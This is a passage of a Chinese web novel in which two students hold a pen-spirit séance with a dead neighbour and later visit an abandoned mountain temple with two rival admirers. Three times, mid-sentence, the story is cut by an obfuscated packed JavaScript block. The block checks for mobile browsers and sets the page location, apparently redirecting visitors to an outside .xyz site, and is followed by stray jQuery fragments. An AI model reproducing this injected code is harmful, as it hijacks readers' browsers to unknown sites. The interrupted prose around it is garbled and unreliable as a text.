常喜乐看着她这一套装备,莫名有种很不妙的预感:“笔仙啊?” 杨瑰司把羊皮纸平摊在桌上,和常喜乐面对面坐好:“对啊。” “你知道吗,我看的所有故事里,贸然玩这个游戏的下场都不太好。”常喜乐一直对这种玄乎的游戏抱有敬畏之心,须知请神容易送神难。天下之大,谁知道玩笔仙请来的会是什么样的鬼魂呢? “我是专业的。”杨瑰司表情淡淡,开始和常喜乐讲规则,“一会儿我来右手执笔,你左手虚握着不要用力,在心里默念‘笔仙笔仙快显灵,如显灵,请在纸上画圈。’,如果笔动了,就是来了,到时我来提问就好。” 为了两人的安全保障,杨瑰司拿出一张符,用朱砂写了“定心”两字。 “哟。”杨瑰司挑眉,乐了,“这回一次就画成了。” 常喜乐在旁边认真地观察完,心有所感,跃跃欲试:“能让我写一张试试看吗?” 杨瑰司盯着她,过了会儿才挪了一张符递给她。 常喜乐按着回忆又复现了一遍定心符的画法,杨瑰司看着那符面上流动的光彩,咬牙切齿地说:“真是吃饱徒弟饿死师父。” 这人在画符方面的天赋太叫人嫉妒了。 “我做你徒弟?”常喜乐眉眼弯弯,开起玩笑来,“那你的师父岂不是要有徒孙了?” 杨瑰司想了想这个画面,露出个莫名的笑意来。她难得露出少女天真烂漫的神色,吃吃地对着常喜乐笑起来:“那师父肯定要揍我一顿了。” “总之,一但我有问题,你左手不许松开笔,右手则要用定心符贴在我的额头。反过来我也会这样处理,记住了吗?”杨瑰司认真地叮嘱完后,就和常喜乐一起握住了那支笔。 在心里默念了不知道多少遍“笔仙笔仙快显灵”,常喜乐几乎有些犯困,下一秒,手中的笔突然有了一个向右受力的感觉。 她一个激灵清醒了过来,和杨瑰司对视了一眼后看着这笔慢慢地向右移动,随后在“是”这个大字上画了个圈。 杨瑰司问:“你是隔壁的小杨吗?” 那支笔在“是”上又转了一圈。 “你认识今天门外的两个人吗。” [是] 这问题只是例行询问一下,却没想到结果是肯定的。她顿了顿,接着问:“他们是冲你来的吗?” [是] 杨瑰司惊讶地挑了挑眉毛。在这之前她一直以为只是自己无意间惹到了什么人,毕竟那两个人关的是她家的电闸。 “能简单描述一下原因吗?” 那笔犹豫了很久,终于在一个字上圈了一下。 [债] 常喜乐感受着这笔慢慢移动的力量,心中泛起不可思议的情绪。 和鬼魂以这种形式交流,有种在玩海龟汤的荒谬感。 常喜乐突然想到一个很重要的问题:“你的死和他们有关系吗?” 一边是有人疑似寻仇,一边住户就猝死了,哪有这么巧的事呢?但转念一想,小杨已经去世了,那两人却还来作怪,也并不符合逻辑。 这次那支笔停了很久,才一次性圈了两个字: [算][是] 常喜乐又问:“你死后为什么一直停留在这呢?” 死去人的魂魄一般很快就会被无常带去重入轮回,但听杨瑰司说完小杨去世的日子,已经很有一段时间了。要么是魂魄被迫拘在了这,要么是她自己有执念、不愿离去。 杨瑰司给常喜乐使了好几个眼色。她之前忘记叮嘱了,参与笔仙游戏的大多是滞留在此地的魂魄,觉得好玩才参与游戏,过程中应当尽量避免提醒对方“已死”的事。 那笔果然就剧烈地颤动了起来,一下猛地往左一下又倏然往右,如果不是杨瑰司死死捏住常喜乐的手,恐怕她的手就要甩脱出去了。 笔尖颤抖地在“恨”这个字眼上转了一圈又一圈—— [恨] [恨] [恨] 到最后,那个“恨”字竟然慢慢沁出血色来。常喜乐看着眼前发生的一切,额尖冒着冷汗,呼吸急促,心脏剧烈跳动地让人难以承受。也就在这一瞬间,她看见覆盖在自己和杨瑰司手上的第三只苍白到没有血色的手。她怔怔地抬头,正和那个黑洞洞的眼睛对视上。 “凭什么虐杀我的猫……为什么!阿花是无辜的!” 对方绝望地哀嚎着,似乎觉察到了她的视线,猛地转过头,从她的眼睛里泣出血泪来,迅速地向常喜乐的方向倒过来。常喜乐只觉得自己的呼吸几乎都停滞了,千分之一秒的时间,短到她来不及反应,又仿佛是永远,久到这鬼的每一个神情变化都深深留在了她的印象中。 手中这支笔不堪重负,竟然生生从中间断成了两半! 笔仙游戏中途松开手是大忌,杨瑰司看常喜乐神色不对,眼疾手快地抓起一张“定心符”贴在她头上。常喜乐猛地一回神,眼前厉鬼再也不见踪影,她脱力般坐回椅子上平复了很久的呼吸。 过了会儿,常喜乐才把自己看到的东西告诉了杨瑰司。 邻居的死似乎另有冤情,而这已经超出了她们两人能管的范畴。杨瑰司关注的重点却在别的地方:“你两次见到鬼,是不是都在极度害怕的时候?” 常喜乐回忆了一下,发现好像真是这样。 杨瑰司向她伸出手:“把你的八字写给我。” 等她盯着那一串年月日后,又问:“有没有具体的出生时间,精确到分钟,或者小时也可以。” 一般人能记住生日就不错了,哪儿记得几点出生这么细节的部分。但常喜乐沉吟了一会儿,在手机相册里翻找了一会儿,给她展示了一张婴儿照片。那相片看起来有些年头了,婴儿笑着看向镜头,神情天真烂漫。在照片右下角写了一串数字,具体到了分钟。 “我出生时候的照片,上面有写出生时间。”常喜乐指给杨瑰司看,“喏。” 杨瑰司闭着眼睛就地算了起来,确定道:“你这八字太弱了,特别容易见到不干净的东西,小时候总哭吧?” “是啊。”常喜乐不好意思地笑了笑,“小时候我妈老叫我常悲伤,被我姥逮着狠狠数落了一顿才改掉的。” “阿姨还挺有意思。”杨瑰司笑了笑,对常喜乐说,“回头你需要的时候试着看鬼片,一吓着说不定就能见到鬼了。” “你还有人性吗杨瑰司?”常喜乐看着她,试图以平静掩饰恐惧。 “好啦好啦,不逗你了。”杨瑰司拍拍她的肩膀,“回房睡觉吧,有什么事明天再说不迟。” 常喜乐被推回了自己的房间,但没过一会儿她就又敲开了杨瑰司的房门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890069|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“又咋啦?”杨瑰司打开门,她已经有困意了。 常喜乐哭丧着脸说:“我一想到那个邻居可能在我们的房间里走来走去就害怕,我们晚上能不能一起睡呀?” 杨瑰司肉眼可见抗拒地往后退了两步:“我不太习惯跟人睡诶……” 但看常喜乐这泫然欲泣的样儿,想象了一下她晚上越害怕越见鬼,越见鬼越害怕的惨状,还是没忍住叹了口气。杨瑰司松开抵住房门的手,说:“进来吧。” 为了让常喜乐能安心入睡,杨瑰司还往房门上贴了个辟邪符,确保常喜乐不会半夜一睁眼就见到邻居趴在她床头。 “我太爱你了瑰司!”常喜乐喜出望外地揽住杨瑰司的脖子。 第二天醒来,杨瑰司礼貌地劝常喜乐搬回宿舍住。 “你的睡相比鬼吓人,喜乐。”杨瑰司语重心长地说,“回去吧,我陪你住宿舍。”这也可以避免半夜再被那两个男人或者是死去的邻居找茬。 因为杨瑰司昨晚被她扰得没睡好觉,白天困得又倒回去补了个回笼觉。常喜乐就满怀歉意地自个儿先收拾东西打道回府了。 然而不知怎的就是这么巧,她在路上又遇到了位不速之客。 准确地说,是两位。 第一位开着辆造型很浮夸骚包的车慢慢停在她面前,车窗缓缓下移的时候露出了一张常喜乐这辈子都不觉得能与这辆车相匹配的冰块脸——是戴西港。 他摘下墨镜,露出个笑容来:“好巧。” “什么事儿劳烦您大驾光临呢?”常喜乐才不会相信这位忙得脚不沾地的戴总有心情来这偏僻的大学城逛悠,她想起昨天叶秘书送来的那幅天价画作和“附赠”的天价房子就觉得头疼。 “听说你拒绝了我们的礼物。”戴西港开门见山。 “你们?”常喜乐重复了一遍这个词。 “山雁的画,和我的房子。”他说。 “我不觉得我帮的忙值得这么厚的礼,所以拒绝,否则我心里不舒服。能听懂吗?”常喜乐又重申了一遍她的态度。她承认钱能让人快乐,但如果这事让她不舒服了,那一切都滚边儿去。 “是这样……但对于恩人如果什么都不表示,我这个做家人的心里也很难过,你能理解吗?”戴西港却不像常喜乐印象中那样一点就爆了,反而微笑着套用了她的逻辑转了回来。 常喜乐看着他是表情,总觉得细微之处有什么不对,但思考过后,还是点了点头,表示能理解。 “我把那别墅空出来,摆上画。只要你想看,随时可以去看。”戴西港循循善诱道,“喜欢一幅画不一定要拥有,但值得保留欣赏的权利,你说对吗?” 好像也有道理?这样的道谢既有诚意也算不上过头,常喜乐微微心动了。 戴西港见她意动,乘胜追击地问:“你这是要去哪?” 常喜乐也没瞒着,这事和他还算得上有一点关联:“Prosit的那幅画让我想起来,我还没有去还愿呢。” 那天从笑语观出去时,常喜乐曾说过要带着瓜果香火回去还愿的。 “干脆我载你一程吧?”戴西港不等常喜乐拒绝,便下车替她打开了副驾驶的门。 常喜乐露出纠结的神色,她刚开口打算拒绝,却听到另一个方向传来熟悉的声音。 “喜乐?” 她循声望去,就看见安平倚着辆自行车。他微长的白发难得用黑色的发带束了起来,露出漂亮的额头,和平常的气质很不一样。 他不错眼地望着常喜乐,刻意忽略掉旁边那碍眼的男人,只笑着说:“好巧。” 52.你们是什么关系? “哈哈……巧。你从哪儿来,在这干什么呢?”常喜乐问。 “你呢?”安平一边把自行车在一边停好,一边笑容不改地反问。 常喜乐就给他展示了一下手上拉着的行李箱,说:“我要回宿舍放行李,再去一趟常乐山。” “又要去常乐山?”安平拧了拧眉,问,“发生什么事了吗?” “去观里还愿。”常喜乐做了个双手合十祈福的动作,想起来一件事,她微笑着问,“你之前说要去探望老师,后来在常乐山见到他了吗?” “嗯。”安平想起这件事,也笑了,“送了他一朵剑兰花。” “还上车吗?”戴西港倚在副驾驶的车门边,向他们招了招手。 安平这才终于把视线分给这“不速之客”,他上下打量了戴西港一眼,提醒道:“学校里不让外来车进。” 随后他伸手接过常喜乐的行李箱,示意道:“走吧,送你回宿舍。” “那你的自行车……”常喜乐看了眼,这共享单车已经被归还好了。她心里不禁嘀咕,这人到底从哪儿骑车回来的?看起来没有一点运动过的痕迹。她回头对戴西港微微倾身:“谢谢你,不用送我啦。” 戴西港站在原地看着两人并肩离开的背影,以舌尖顶了顶腮——他总是想起“戴山雁”以这张脸面对自己说话的模样,以至于梦里都是常喜乐的身影。他想,与其在梦境中为一个完全不了解的人赋魅,不如亲自来见她。等了解过后,自然就能让身体分清这两个根本是不同的人。 但此刻看着他们,却觉得郁闷异常。 等常喜乐放好行李,拍掉手上的灰尘,慢慢下楼开始查找去常乐山的路线时,发现宿舍一楼玻璃门外的树边站着个男生。他微微偏头靠在树上假寐,等常喜乐走到他面前时,才若有所感地睁开眼与她对视。 “你怎么不回去呀?”常喜乐问。 “我想再去见见我的老师。”安平的言外之意很明显,他也要去常乐山——和常喜乐一起。 “距离你上次去见他隔了有五天吗?”常喜乐有些疑惑,师生感情再好也不至于这么频繁地见面吧? 安平垂眼,又说:“你自己去,不怕再迷路?” 常喜乐沉思。 常喜乐觉得有道理。 于是她立刻顺坡下驴,大步往前走去:“好的!和老师增进感情也多是一件美事啊!值得歌颂!” 她在校内水果店购置了些苹果橘子,至于香火、金元宝一类的,常乐山下就有摊贩在售卖。 安平很自觉地接过重物,拿出手机准备打车,却发现身边人的脚步又是一顿。 “诶?你怎么还在这里。”常喜乐问。 戴西港也绝口不提报恩的事了,他想了想,说:“托你的福,我前几天仔细欣赏了Prosit的笑语俯瞰图,很想去当面看看原景。” 常喜乐也不自觉应和道:“没错!隔着画看和亲眼看是完全不一样的感受!当你仰望那樽巨大石像的时候,会感觉在与之对视。” 戴西港打开副驾驶门,邀请道:“我不太熟悉这一片,既然我们顺路,不如我来开车、你来指方向吧?” 常喜乐沉吟一会儿,没想到不帮忙的理由,也就答应了:“没问题。不过我有点路痴,大概还得靠安平指路了。” 戴西港就将视线转到安平脸上,他原本带一点笑意的唇角这会儿抻直了,手指还停在叫车按键上没来得及动呢。安平拧眉道:“我不想坐他的车。” 戴西港接话很快:“晕车吗?也不要紧,我们可以分两路,到山下再会和。”他与安平对视,毫不掩饰笑容里带的一点恶意。 安平冷着一张脸,环住常喜乐的手腕往后座带。戴西港也不甚在意,关上副驾驶车门后回了主驾驶位。 “喜乐,我最近得知,Prosit的新作近一个月内就要进行拍卖了。届时如果戴家能拿到,欢迎你来欣赏。”戴西港手握方向盘,通过后视镜望了常喜乐一眼。 常喜乐还没来得及回答,就听见安平低着头闷闷地笑了一声。 “怎么了?”戴西港瞥了他一眼,问。 “戴家应该拿不到这幅画。”安平如实回答。 “是吗?”戴西港笑了一声,“在拍卖行上有戴家拿不到的东西?那还真是很少见。” [到时你就知道了。] 安平并没有与他多争论,只是微微翘唇又和常喜乐讲起话来:“你很喜欢Prosit的画?” 常喜乐用力点了点头,眼睛亮晶晶的:“喜欢!” 安平微微偏头,想了想才对她说:“但他拿出来拍卖的作品都是不够满意的那一批,如果你很想看,其实……” “说起来,两位是什么关系呢?”戴西港没忍住又从后视镜看了他们一眼。后座这样宽敞,然而这两人却并没有刻意保留出社交安全距离来。对于偶尔因车辆不稳而导致的肢体触碰也完全没有害羞或者抗拒的意思。 是情侣么? “我们是一个大学的,朋友。”常喜乐自然地回答了一声,她还在手机上查看地图路线,只留安平一个人还垂眼望着她。 “哦……朋友啊?”戴西港深深地看了他们一眼,他在镜中与抬起头的安平对视了一秒。对方眼中哪里还有和常喜乐交流时的纯良无害?这会儿那对湖蓝色的眼睛泛着冷意,直勾勾地盯着他。 后面这车上就一路无话,常喜乐昨晚因为闹鬼的事儿也没睡好。没过多久她就头一点一点地小鸡啄米,被安平小心地扶着头靠到了他的肩膀上。 “喜乐,到时我是不是……”戴西港的话刚开了个头,就听见后头传来“嘘”声。常喜乐毫无防备地靠在了他的肩上,两人的距离之近,使他们的发丝都几乎相互缠绕。安平刚把放在唇前的手指放下,默默看着窗外风景,一个眼神也没多分给戴西港。 戴西港只是默默放缓了速度,让车开得更稳当些。 等开到了常乐山脚下,常喜乐高高兴兴地去买了一筒香。她坐回车上,突然和安平感慨着:“我刚在想,等我以后有钱了。可以给笑语娘娘像塑个金身,但我算了算,她那石像这样大,不知道需要多少材料来塑金身。哎,也不知道什么时候能实现这个愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895843|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望。”她叹了一口气,和安平说完话后就像存档,随后任凭这个超出她能力的突发奇想随风飘去。 车开到半山腰就照例没路了,三人拿着各自的东西下车后,常喜乐沉吟了一会儿。 她拿出当时那位老道长递给她的超简略版(无常乐观版)地图,试图找出笑语观的所在。 但她研究了半天也没迈出第一步,终于还是安平接过地图,随后先行向某个方向走去。 常喜乐怀疑如果真是她和戴西港两个人来的话,大概真会不幸迷路,这里的道路实在太弯弯绕绕了。 况且,不知道他们会不会遇见上次的“鬼打墙”。那时通往笑语观的路是戴山雁指引的,这次却要靠他们自己找了。 然而,和之前上山的时候遇到那些难以言喻的困难相比,今天这一路简直顺利地可怕。安平毫无阻碍地在前带路,甚至过了好久才会拿出地图确认一眼,松弛地简直像回了老家一样。 “你不是说要去见老师,和我们顺路吗?”戴西港见安平一直和他们待在一起,问道。 常喜乐想起这点,也转头看向安平。对方只是摇了摇头:“老师没有固定的居所。所以我也算不上有什么确切目的地。” 也是,常喜乐恍然,想起来安平之前说他的老师喜欢去四处游历。 “总之先把你们送到吧,我并不着急。” 途中,常喜乐一直认真记着路线和路标,她还发现某棵古树的枝干上系了一根丝带。 这就是她、杨瑰司、安平上一回走散的地方。不过这一回三个人并没有出现谁迷路或者掉队的情况。他们堪称畅通无阻地来到了笑语观。 等远远地望见那熟悉的观宇,常喜乐立刻拿着瓜果香火往前小跑了几步,但很快就发现了不对的地方。首先是笑语观门口的牌匾,它很显然被清洗过一片,锃光瓦亮地摆得相当板正。而且原本缠在牌匾上的藤蔓都被仔细清理掉了。与上次常喜乐来时看到的颓败模样完全不同。 第二个奇怪的地方就是,这观里有些安静过头了。 观里毕竟住这个老道士,他不管是清扫房间、还是念经,多少都会发出动静来——现在又毕竟不是睡觉的时间。 常喜乐带头往里走,戴西港有些好奇地左右张望,安平则眉眼深深、不知道在想什么。 院落里的杂草野花都被修剪得细致妥当,那笑语娘娘巨石像下的贡桌上还放了些花,常喜乐伸手摸了摸,判断道:“不腐的永生花。” 心里泛起一些预感。常喜乐在那道人的休息室门前敲了敲,还没怎么使劲,那门就吱呀一声打开了。 里头只剩下一张木桌和一个床架子,其余的东西都已经被收拾走了。 常喜乐看到这,迅速回身走到那贡桌前,伸手揩了一下桌上的灰。在她食指上浮起一层厚厚的白灰。 距离她上一次来笑语观也就是这一周内的事,然而这灰的厚度却像是积累了相当的年头。 一切都说明了一件事。 常喜乐有些不可思议地自言自语道:“这座观已经被废弃了,从什么时候开始的?” 53.还愿 戴西港站在那巨大的神女石像面前,仰头端详她的面容。 “感觉这石像和画中相比有些不同?”他皱了皱眉,回忆了前几天看到的那幅画作。在画里,笑语娘娘的神情慈悲,嘴角带笑,似在照拂万物,然而现在却像只剩一个空壳,连带着唇角的笑意也有形无神了。 “或者说,只是Prosit在作画时加有润色,这神像原本并没有这样宏伟?”他转头问常喜乐。 常喜乐顺着他刚才的视线看向这樽像,她张开嘴,说出的话却与另一个人的声音重合了。 “不,是石像变了。” 常喜乐和安平对视一眼,他站在她的身边,神情很平静,似乎并不因为这座观里所发生的剧变而惊讶。 “你以前来过这儿吗?怎么知道是石像变了,而不是画作有夸大?”戴西港瞥了安平一眼,问他。 安平看了他一眼,随机转头望向常喜乐,解释道:“我们走散那天,我来过这,见到了我的老师。” “你的老师?”常喜乐思索了一会儿惊叹道,“那个奇奇怪怪的老道人是你的老师啊?!” 不能怪常喜乐太大惊小怪,实在这两人的性格太过南辕北辙了。常喜乐是死也想象不出安平用这张漂亮冷漠的脸说出:“来信我们笑语娘娘吧!”这样狂热信徒的话来。 安平难得赧然一笑:“他的性格是很特别。” “照这么说,那个老道人——你的老师,这是去云游了?”常喜乐想起来安平曾说过他的老师喜欢到各个山头串门,那这观里没人似乎也说得通了。 “大概吧。”安平用两指提起贡桌边上摆的抹布,往观外走去。 “我听说,常乐山以常乐观闻名,我们要顺路去拜拜吗?”戴西港见这笑语像并没有传说中的这么神,兴趣缺缺地打算换个目的地,也算不虚此行。 “行啊!我顺便可以看望一下我的小姨。”常喜乐拿出手机准备给小姨打电话。 “嗯,你在常乐观还有个小姨?”戴西港看向她,露出好奇的神色来,“或许你们是什么道教世家吗?” “不是,我们家只有我小姨出家,我之前的情况只是意外。”常喜乐想起之前在戴家的事,不免一囧,她拨出电话放在耳边,打量了一下门口的方向,看安平去哪了。 戴山雁终于没忍住问:“我说,你那位叫安平的朋友是不是对我有些意见?”一路上,安平几乎没有正面搭理过他。戴西港每天被熟悉不熟悉的人前呼后拥地捧着,什么时候受过这样的待遇? “不是的,安平他只是有些慢热。我们刚见面的时候,他话也很少。”常喜乐下意识解释着,至于第二次见面安平就对她表白了这种事,还是先略过吧。 电话接通了,常喜乐眉眼弯弯对着电话乐道:“小姨——想我了没?” “找我什么事,又遇上麻烦了?”电话里的女声远不如常喜乐热情如火,但细听,语气里也带了一丝笑意。 “难道我就只有遇上麻烦的时候才能来找你吗?”常喜乐不满地单手叉腰,没好气道,“你侄女我千里迢迢来常乐山了,要是你在观里的话,我来找你玩呀?我朋友说也想来常乐观拜一拜。” “忙着呢,而且今天观休,不接待来客。”唐柚淡淡地补充道,“你可别再迷路了,还得麻烦全观的人来找你。” “不会的,这次我已经熟记山上的路线了。好吧,太不巧了。那我下次再来看你们。”常喜乐叹了口气后又立刻笑着问,“书念呢?让我跟书念说说话呗,他现在长高了没有呀?” “书念忙着练功呢,也没空。”唐柚拿着手机,看向某个方向,突然说了一句,“他量了身高,一点也没长,最近很郁闷。” “那是得多练功。”常喜乐认同地点了点头,叮嘱道,“你帮我告诉书念噢,平常除了扎马步、打拳呀画符呀什么的,也要多做摸高运动、跳跳绳什么的。早点长高就能早点下山玩啦!” “嗯,知道了。”唐柚微微一笑。 戴西港一身西装,也不好找地方休息,干脆抱着手臂站在一旁等常喜乐打电话。见她眉飞色舞的样儿,饶有细致地望向她的眼睛。圆亮如猫眼,抬眼时灵动,垂眼时又不失娴静。他收了收自己的手臂,那时,常喜乐在面对只有她能看见的无常时,紧紧抓住了这只手臂。分明是很害怕,却又强撑着与那无常鬼谈判。 一个女孩儿在遇见鬼魂时能做到镇定自若很难得,在极为害怕时仍能鼓起勇气面对,则更难得。 戴西港失笑,其实第一次见面时,他就已经知道她很特别。不是因为她曾经作为他的妹妹出现在面前过,而是因为常喜乐这个人,很特别。 “再说一句,国庆快乐啊小姨,爱你哦!”常喜乐挂断电话后,正好看见安平拿着在打湿的抹布走进门,她眼睛一亮,跑上前问:“你刚去哪儿啦?”这附近可没见到什么水源。 “找了一口井。”安平边往前走边说,“你不是想要还愿?” 他仔仔细细地把贡桌上的灰尘擦净,侧身把位置让给常喜乐,示意:“来吧。” 常喜乐就把准备好的水果糕点摆在贡桌上空空的果盘中,随后又拿起香,她愣了一会儿,突然懊恼道:“欸,忘记没地方点火了。” 寻常寺庙里都有点香炉之类的火源可供燃香,但笑语观大概是因为无人看管了,并没有这样的设置。 安平也愣了愣,他没考虑到这一层,手指下意识微屈,但想到什么后又顿住了。 “我带了打火机。”一旁的戴西港伸起左手,一个银色的打火机在他指间转了几圈,最后被妥善递给了常喜乐。 “谢谢!”常喜乐接过打火机,总算燃好了香。她用手扇了扇燃起的火焰,使其最终变成一点火星。 常喜乐双手握住香,闭上眼睛对着这笑语娘娘像拜了三拜。 [娘娘,之前来的时候,还不知道我小时候曾经拜您为义母的事。怪不得我一看到您,就觉得格外亲切。今天特地来还愿!希望我身边的人,都能平安顺遂喜乐,无病无痛无灾!] 她仿佛真在和一位慈祥的长辈唠嗑似的,在心里絮絮叨叨了好一会儿才说完。随后她睁开眼,很认真地把香插在了香炉中间。 等常喜乐再抬眼望向那石像,突然惊奇地咦了一声:“你们觉不觉得,这石像的笑容变深了?” “石像是人为雕刻的,怎么可能……”戴西港下意识觉得不可能,但当他抬头的时候,也愣了愣神。 他觉得自己似乎和这樽石像对视了,她的笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903715|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈悲而充满光辉,像在人的心头浇上了一瓢温水,感到熨帖。 这时,才终于理解了常喜乐之间说的——隔着画看和亲自来看,是截然不同的体验。 戴西港也不再执着于去拜访常乐观了,笑语观这一趟已经不虚此行。 三人便一块儿下了山。 “但是你不觉得奇怪吗,照你这样说,几乎没人去过那个常乐观?”路上,戴西港在常喜乐这听了一点有关常乐山的故事,觉得很不解。 “我后来听本地的同学讲,每个打算去常乐观的人最后都会在山林里迷路,兜兜转转最后又走下山去。久而久之就没人再去了,但越去不了,常乐观就越被蒙上一层神秘色彩,在民间传得可玄乎了!”常喜乐后来也好奇地去打听过,才知道像她这样能误打误撞走到常乐观的人算是凤毛麟角了。 “不过,大概是因为山间的迷雾吧?我听观里的人说,山头常年会有雾的,不熟悉路的人很容易迷路。”常喜乐背着手笑,“这要是放到我们高中,能出道地理大题了。” “你学的是文科吗?”戴西港饶有兴趣地听她讲解。 “没错!”常喜乐有些小骄傲地仰头说,“不觉得文科很浪漫吗?” “我觉得理科也很浪漫啊。”戴西港低头笑起来。 “我每次看到那些公式都感觉是合起来绞杀我来了。”常喜乐晃晃脑袋,用肩膀拱了拱站在她右边一直不太说话的安平,“安平,你说是文科好还是理科好!” 安平回头看她,微微歪头:“嗯?” “哦对。”常喜乐回过神来,“你是艺考生噢?” 山城大学是所综合性大学,常喜乐总忘记这一点。 戴西港则若有所思地端详着安平的神色。 而这场起因于常乐观的聊天话题中当事人之一的唐柚,正在常乐观后院的一块巨石上打坐。常喜乐说完后,四周就恢复了寂静一片。她收起电话,抬头看了眼。 这偌大的道观,竟然连一个人影也没有。 等戴西港的车开到了学校门口,常喜乐打开车门和他道别:“今天谢谢你啦,再见!” “嗯,再见。”戴西港弯唇一笑,看着常喜乐和安平并肩走进校门。 他思忖了一会儿,也打开车门往学校里走,但在门禁前被保安拦住了。 “你是我们学校的迈?要刷卡噻,或者你有认识的人给你邀请码也是可以的喔。”平常总是有游客想进山城大学逛逛,为了保证学生正常的生活环境,校方做了一定程度的限流。保安也拦得很熟练了。 戴西港抬起下巴示意了一下前面那个白发的男生,问:“他刚才也没有刷卡,为什么可以随便进?” “嗨,他呀。是我们学校的学生,我记得他哩,总和我们打招呼。很有礼貌的小伙子。”保安看向戴西港指的方向,笑着说。 戴西港也没再多说,只是继续望着安平离开的方向。 意料之外,安平突然回过半身来。他不偏不倚地对上戴西港的视线,露出个说不出意味的笑来。 像是挑衅。 戴西港也微微弯唇,他头也不回地走到自己车上,拨通了一个电话。 “帮我查个人。” “山城大学,安平。” 54.泪如琥珀 “安平,你的家乡在哪呀?”常喜乐和安平并肩走在回宿舍区的路上,突然想到这个问题。如果安平家境困难,当年他学艺术时大概也度过了一段艰难的时期。 安平思索了会,告诉她:“淮南阳城。” “这么巧?”常喜乐瞪大眼睛,扯了扯安平的袖子兴奋道,“我老家也是阳城的,你小学在阳城读的哪个学校?说不定我们还是校友呢!” 安平说:“我出生在阳城,但并不在那长大。” “噢……”在阳城的确有很多人家外出务工,只有逢年过节才回来一趟,这是常有的事儿。像常喜乐他们家就是后面又搬到了别的城市定居,只偶尔回老宅住一住。 她有些遗憾地感慨:“那太可惜了,要是早点遇见你,我们说不定会成为很好的朋友呢。” 安平微微偏头,看着她,问:“朋友?” 常喜乐点头,没注意到他微妙的语气变化,又重复了一遍:“对呀,朋友!” 安平的语气却突然变得有些生硬,连带着他秀丽的眉眼也变得凌厉:“哪种朋友?离开前不告而别,从此再不相见的朋友吗?” 常喜乐从没见过他这样说话,一时有些不知所措:“安平,你怎么了?” 安平低头望着常喜乐迷茫而无措的眼睛,自嘲地笑了笑。 她不记得,也很正常。 “下一次见面,会是什么时候?”他问。 常喜乐想,安平似乎对“下次见面”很执着,每次都是。 可常喜乐并不能给他一个确切的答案。她简直被一堆怪事淹没,几乎自顾不暇。更何况,他们也不是什么必须见面的关系。作为朋友,安平没义务对她剖白,常喜乐也不必回答回应不了的问题 也正好,两人已经走到了男女宿舍楼中间的分岔路口,她没有回答这个问题,只是冲安平挥了挥手道别:“你不用送我回宿舍啦,今天辛苦你了,快回去吧。” 在她转身要离开的时候,安平默不作声地拽住了她的手腕。常喜乐被惯性带回到他面前,几乎要扑进安平怀里,晃了晃才站稳脚跟。 “你在干什么呀,安平!”常喜乐有些恼火地抬头瞪他,却在看清楚他的神情时一顿。 安平慢慢地眨着眼,嘴角微微下垂。他拉起常喜乐的手,放在了自己的心口,说: “我感觉,很难过。” “但我不明白为什么。” 常喜乐望进他水光潋滟的眼睛,仿佛看见一片幽深的蓝湖。 她突然想起一句话—— “你眼睛的面积一定小于湖,你也很少哭。为什么坐在你面前,就像站在湖边,细细的雾水就扯地连天。” 宿舍门吱呀一声打开的时候,杨瑰司回头看了一眼,感觉常喜乐简直像个魂飘进来似的无声无息:“嚯,你咋了,这么魂不守舍的。” 常喜乐听她说话,才感觉雾蒙蒙的心情突然醒了似的:“你回来了啊?” 杨瑰司一听她声音,直接站了起来,弯腰仰头仔细看她的脸:“我怎么感觉你有哭腔,谁欺负你了?” “没有。”常喜乐眨眨眼睛恢复了笑容,她拍了拍杨瑰司的发顶,往卫生间走去,“我打了个哈欠而已,洗漱一下就睡啦。” 她走得太匆忙,也就没有注意到杨瑰司的欲言又止。杨瑰司看了一眼方信艾床上的方向,顿了会才又回电脑前开始审核哪些参与“我的猫猫有点怪”的投稿适合处理了。 假期,学校宿舍留下住的人原本就不多,随着十一点半到,那零星几个宿舍的灯也一块儿熄灭了。 安平坐在高大树木边的石长椅上,望着很远很远处的某个方向。随着那一块的灯光黯下,他的视线也移开,仰头望向夜空。 天上乌云密布,看不见一点星。 从树林里钻出来一只小花猫。它绕着安平的小腿转了两圈,被他拎着后颈脖提溜到了椅面上。 “这么晚还在外面晃荡,让你姥姥揍你。”安平冷冷地说。 小花猫冲着他喵喵叫了几声。 这情景其实有些诡异,因为安平身边一个人也没有。不过也好在一个人也没有。 他很快又开口了:“出去串门?不带你吗。” 小花猫立刻又叫了起来,这回听起来语气急促,似乎觉得很气愤。 安平难得露出个笑来,他命令道:“回去吧,已经很晚了。” “我吗?……我不知道去哪。” “为什么不让你在她面前向我打招呼?”安平总算把目光投向那只小花猫,他眼睫忽闪了一下,最后摇了摇头。 “如果她知道我是个什么东西,恐怕就再也不会理睬我了。” 